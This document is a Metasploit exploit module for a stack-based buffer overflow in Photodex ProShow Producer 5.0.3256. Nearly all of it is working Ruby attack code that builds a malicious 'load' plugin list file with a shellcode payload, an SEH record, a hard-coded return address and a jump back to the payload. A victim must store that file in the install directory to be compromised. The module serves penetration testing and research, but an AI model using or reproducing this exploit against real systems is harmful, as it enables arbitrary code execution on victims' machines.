Photodex ProShow Producer 5.0.3256 – load File Handling Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Photodex ProShow Producer v5.0.3256 in the handling of the plugins load list file. An attacker must send the crafted "load" file to victim, who must store it in the installation directory. The vulnerability will be triggered the next time ProShow is opened. The module has been tested successfully on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Julien Ahrens', # Vulnerability discovery and PoC 'mr.pr0n', # Additional PoC 'juan', # Metasploit module ], 'References' => [ [ 'OSVDB', '83745' ], [ 'EDB', '19563' ], [ 'EDB', '20036' ], [ 'URL', 'http://security.inshell.net/advisory/30' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 9844, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Photodex ProShow Producer 5.0.3256 / Windows XP SP3 / Windows 7 SP1', { 'Offset' => 9844, 'Ret' => 0x1022A959 # p/p/r from if.dnt } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 06 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'load']), ], self.class) end # Overriding file_create to allow the creation of a file without extension def file_create(data) fname = datastore['FILENAME'] ltype = "exploit.fileformat.#{self.shortname}" if ! ::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end path = File.join(Msf::Config.local_directory, fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } report_note(:data => full_path.dup, :type => "#{ltype}.localpath") print_good "#{fname} stored at #{full_path}" end def exploit sploit = payload.encoded sploit << generate_seh_record(target.ret) # jmp back to the payload sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string # cause exception hitting the end of the stack sploit << rand_text(300) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |